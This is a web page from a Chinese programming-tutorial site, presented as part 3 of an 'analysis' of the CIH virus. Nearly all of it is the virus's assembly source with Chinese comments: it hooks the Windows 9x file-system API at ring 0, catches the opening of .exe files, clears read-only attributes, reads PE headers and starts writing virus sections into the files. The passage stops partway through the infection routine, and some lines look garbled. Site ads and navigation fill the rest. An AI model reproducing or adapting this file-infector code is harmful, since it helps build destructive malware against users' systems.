0

0

病毒程序源码实例剖析-CIH病毒[3]

黄舟

黄舟

发布时间:2017-01-17 11:16:42

|

2100人浏览过

|

来源于php中文网

原创

jmp exitring0init ;退出ring0级
  
  ;合并后的代码大小
  codesizeofmergeviruscodesection = offset $ 
  
  ;新的ifsmgr_installfilesystemapihook功能调用 
  installfilesystemapihook:
  push ebx 
  
  call @4 
  
  @4: 
  pop ebx ;获得当前指令的偏移地址 
  add ebx, filesystemapihook-@4 ;加上偏移的差等于filesystemapihook的偏移 
  
  push ebx 
  int 20h ;调用vxd移去指向filesystemapihook的钩子 
  ifsmgr_removefilesystemapihook = $ 
  dd 00400068h ;使用eax、ecx、edx和flags寄存器
  pop eax 
   
  ;调用原来的ifsmgr_installfilesystemapihook功能连接filesystemapihook钩子
  push dword ptr [esp+8] 
  call oldinstallfilesystemapihook-@3[ebx] 
  
  pop ecx 
  push eax 
  push ebx 
  
  call oldinstallfilesystemapihook-@3[ebx] 
  pop ecx 
  
  mov dr0, eax ;调整oldfilesystemapihook地址 
  
  pop eax 
  pop ebx 
  
  ret 
  
  oldinstallfilesystemapihook dd ;原来的installfilesystemapihook调用地址 
  
  ;ifsmgr_filesystemhook调用入口
  filesystemapihook: 
  @3 = filesystemapihook 
  
  push ad ;保存寄存器 
  
  call @5 
  
  @5: 
  pop esi ; mov esi, offset ;esi为当前指令的偏移 
  add esi, virusgamedatastartaddress-@5 ;esi为filesystemapihook的偏移
  ;加virusgamedatastartaddress的偏移之差等于virusgamedatastartaddress的偏移
  
  ;测试“忙”标志,“忙”则转到pifsfunc
  test byte ptr (onbusy-@6)[esi], 01h 
  jnz pifsfunc 
  
  ;如果没有打开文件,则转到prevhook 
  lea ebx, [esp+20h+04h+04h] ;ebx为functionnum的地址
  
  ;文件系统钩子的调用格式如下 
  ;filesystemapihookfunction(pifsfunc fsdfnaddr, int functionnum, int drive,
  ;int resourceflags, int codepage, pioreq pir)
  
  ;判断此次调用是否是为了打开文件,如果不是就跳到前一个文件钩子去
  cmp dword ptr [ebx], 00000024h 
  jne prevhook 
  
  inc byte ptr (onbusy-@6)[esi] ; enable onbusy ;设置“忙”标志为“忙” 
  
  ;获得文件路径指定的驱动器号,然后把驱动器名称放到filenamebuffer中
  ;如果驱动器号为03h,则说明该盘是c盘
  mov esi, offset filenamebuffer 
  add esi, filenamebuffer-@6 ;esi指向filenamebuffer 
  
  push esi ;保存
  mov al, [ebx+04h] ;ebx+4为磁盘号的地址 
  
  ;是否unc(universal naming conventions)地址,如果是就转callunitobcspath
  cmp al, 0ffh 
  je callunitobcspath 
  
  add al, 40h 
  mov ah, ':' 
  
  mov [esi], eax ;处理成"x:"的形式,即在盘符后面增加一个冒号
  
  inc esi 
  inc esi 
  
  ;把canonicalized unicode的字符转换为普通的bcs字符集,调用方法 
  ;unitobcspath(unsigned char * pbcspath, parsedpath * punipath, 
  ;unsigned int maxlength, int charset)
  callunitobcspath: 
  push 00000000h ;字符集 
  push filenamebuffersize ;字符长度 
  mov ebx, [ebx+10h] 
  mov eax, [ebx+0ch] 
  add eax, 04h 
  push eax ;uni字符首址 
  push esi ;bcs字符首址 
  int 20h ;调用unitobcspath 
  unitobcspath = $ 
  dd 00400041h 调用id 
  add esp, 04h*04h 
  
  ;判断文件是否是exe文件
  cmp [esi+eax-04h], 'exe.' 
  pop esi 
  jne disableonbusy 
  
  if debug 
  
  ;以下信息为调试用
  cmp [esi+eax-06h], 'kcuf' 
  jne disableonbusy 
  
  endif 
  
  ;判断文件是否存在,如果不存在,则转向disableonbusy处
  cmp word ptr [ebx+18h], 01h 
  jne disableonbusy 
  
  ;获得文件属性
  mov ax, 4300h 
  int 20h ;调用ifsmgr_ring0_fileio获得文件属性的功能 
  ifsmgr_ring0_fileio = $ 
  dd 00400032h ;调用号 
  
  jc disableonbusy 
  push ecx 
  
  ;获得ifsmgr_ring0_fileio地址
  mov edi, dword ptr (ifsmgr_ring0_fileio-@7)[esi] 
  mov edi, [edi] 
  
  ;判断是否只读文件,如果是,则修改文件属性,否则转向openfile处
  test cl, 01h 
  jz openfile 
  
  mov ax, 4301h 
  xor ecx, ecx 
  call edi ;调用ifsmgr_ring0_fileio修改文件属性的功能,使文件可写
  
  ;打开文件
  openfile: 
  xor eax, eax 
  mov ah, 0d5h 
  xor ecx, ecx ;文件属性 
  xor edx, edx 
  inc edx 
  mov ebx, edx 
  inc ebx ;esi为文件名首址 
  call edi ;调用ifsmgr_ring0_fileio打开文件的功能 
  
  xchg ebx, eax ;在ebx中保存文件句柄 
  
  ;是否需要恢复文件属性(有写属性就不需要恢复了)
  pop ecx 
  pushf 
  
  test cl, 01h 
  jz isopenfileok 
  
  ;恢复文件属性
  mov ax, 4301h
  call edi ;恢复文件属性 
  
  ;文件打开是否成功,如果不成功,则转向disableonbusy处
  isopenfileok: 
  popf 
  jc disableonbusy
  
  ;文件打开成功
  push esi ;把文件名数据区首址入栈 
  
  pushf ;cf = 0,保存标志位 
  
  add esi, databuffer-@7 ;esi指向数据区首址 
  
  ;获得新文件头的偏移
  xor eax, eax 
  mov ah, 0d6h ;ifsmgr_ring0_fileio的读文件功能号(r0_readfile) 
  
  ;为了达到使病毒代码长度最少的目的,把eax保存到ebp
  mov ebp, eax 
  
  push 00000004h ;读取4个字节 
  pop ecx 
  push 0000003ch ;读取dos文件头偏移3ch处的windows文件头首部偏移 
  pop edx 
  call edi ;读文件到esi 
  
  mov edx, [esi] ;windows文件头首部偏移放到edx 
  
  ; 获得图形文件头的pe标记和已感染标记
  dec edx 
  mov eax, ebp ;功能号 
  call edi ;读文件到esi 
  
  ;判断是否是pe,如果是,进一步判断是否已经感染过
  ;判断是否是winzip自解压文件,如果是,就不感染 self-extractor * 
  cmp dword ptr [esi], 00455000h ;判断是否是pe文件(标志"pe/0/0") 
  jne closefile ;不是就关闭文件 
  
  ;如果是pe文件,且没有被感染,就开始感染该文件
  push ebx ;保存文件句柄 
  push 00h 
  
  ;设置病毒感染标记
  push 01h ;标记大小
  push edx ;edx指向pe文件头偏移00h 
  push edi ;edi为ifsmgr_ring0_fileio的地址 
  
  mov dr1, esp ;保存esp
  
  ;设置 newaddressofentrypoint入口
  push eax 
  
  ;读文件头
  mov eax, ebp 
  mov cl, sizeofimageheadertoread ;要读2个字节 
  add edx, 07h ;pe文件头+07h为numberofsections(块个数) 
  call edi ;读出numberofsections(块个数)到esi 
  
  lea eax, (addressofentrypoint-@8)[edx] 
  push eax ;文件指针 
  
  lea eax, (newaddressofentrypoint-@8)[esi] 
  push eax ; 缓冲区地址
  
  ;把edx的值放到文件病毒代码块表表的开始位置
  movzx eax, word ptr (sizeofoptionalheader-@8)[esi] 
  lea edx, [eax+edx+12h] ;edx为病毒代码块表的偏移 
  
  ;获得病毒代码块表的大小
  mov al, sizeofscetiontable ;每个块表项的大小
  
  mov cl, (numberofsections-@8)[esi] 
  
  mul cl ;每个块表项乘以块个数等于块表大小 
  
  ; 设置病毒代码块表 
  lea esi, (startofsectiontable-@8)[esi] ;esi指向块表首址(在病毒动态数据区中)

以上就是病毒程序源码实例剖析-CIH病毒[3]的内容,更多相关内容请关注PHP中文网(www.php.cn)!

ImgCleaner
ImgCleaner

一键去除图片内的任意文字,人物和对象

下载

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
pixiv网页版官网登录与阅读指南_pixiv官网直达入口与在线访问方法
pixiv网页版官网登录与阅读指南_pixiv官网直达入口与在线访问方法

本专题系统整理pixiv网页版官网入口及登录访问方式,涵盖官网登录页面直达路径、在线阅读入口及快速进入方法说明,帮助用户高效找到pixiv官方网站,实现便捷、安全的网页端浏览与账号登录体验。

463

2026.02.13

微博网页版主页入口与登录指南_官方网页端快速访问方法
微博网页版主页入口与登录指南_官方网页端快速访问方法

本专题系统整理微博网页版官方入口及网页端登录方式,涵盖首页直达地址、账号登录流程与常见访问问题说明,帮助用户快速找到微博官网主页,实现便捷、安全的网页端登录与内容浏览体验。

135

2026.02.13

Flutter跨平台开发与状态管理实战
Flutter跨平台开发与状态管理实战

本专题围绕Flutter框架展开,系统讲解跨平台UI构建原理与状态管理方案。内容涵盖Widget生命周期、路由管理、Provider与Bloc状态管理模式、网络请求封装及性能优化技巧。通过实战项目演示,帮助开发者构建流畅、可维护的跨平台移动应用。

64

2026.02.13

TypeScript工程化开发与Vite构建优化实践
TypeScript工程化开发与Vite构建优化实践

本专题面向前端开发者,深入讲解 TypeScript 类型系统与大型项目结构设计方法,并结合 Vite 构建工具优化前端工程化流程。内容包括模块化设计、类型声明管理、代码分割、热更新原理以及构建性能调优。通过完整项目示例,帮助开发者提升代码可维护性与开发效率。

20

2026.02.13

Redis高可用架构与分布式缓存实战
Redis高可用架构与分布式缓存实战

本专题围绕 Redis 在高并发系统中的应用展开,系统讲解主从复制、哨兵机制、Cluster 集群模式及数据分片原理。内容涵盖缓存穿透与雪崩解决方案、分布式锁实现、热点数据优化及持久化策略。通过真实业务场景演示,帮助开发者构建高可用、可扩展的分布式缓存系统。

26

2026.02.13

c语言 数据类型
c语言 数据类型

本专题整合了c语言数据类型相关内容,阅读专题下面的文章了解更多详细内容。

29

2026.02.12

雨课堂网页版登录入口与使用指南_官方在线教学平台访问方法
雨课堂网页版登录入口与使用指南_官方在线教学平台访问方法

本专题系统整理雨课堂网页版官方入口及在线登录方式,涵盖账号登录流程、官方直连入口及平台访问方法说明,帮助师生用户快速进入雨课堂在线教学平台,实现便捷、高效的课程学习与教学管理体验。

14

2026.02.12

豆包AI网页版入口与智能创作指南_官方在线写作与图片生成使用方法
豆包AI网页版入口与智能创作指南_官方在线写作与图片生成使用方法

本专题汇总豆包AI官方网页版入口及在线使用方式,涵盖智能写作工具、图片生成体验入口和官网登录方法,帮助用户快速直达豆包AI平台,高效完成文本创作与AI生图任务,实现便捷智能创作体验。

524

2026.02.12

PostgreSQL性能优化与索引调优实战
PostgreSQL性能优化与索引调优实战

本专题面向后端开发与数据库工程师,深入讲解 PostgreSQL 查询优化原理与索引机制。内容包括执行计划分析、常见索引类型对比、慢查询优化策略、事务隔离级别以及高并发场景下的性能调优技巧。通过实战案例解析,帮助开发者提升数据库响应速度与系统稳定性。

53

2026.02.12

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
Django 教程
Django 教程

共28课时 | 4.3万人学习

Excel 教程
Excel 教程

共162课时 | 17.8万人学习

Kotlin 教程
Kotlin 教程

共23课时 | 3.7万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号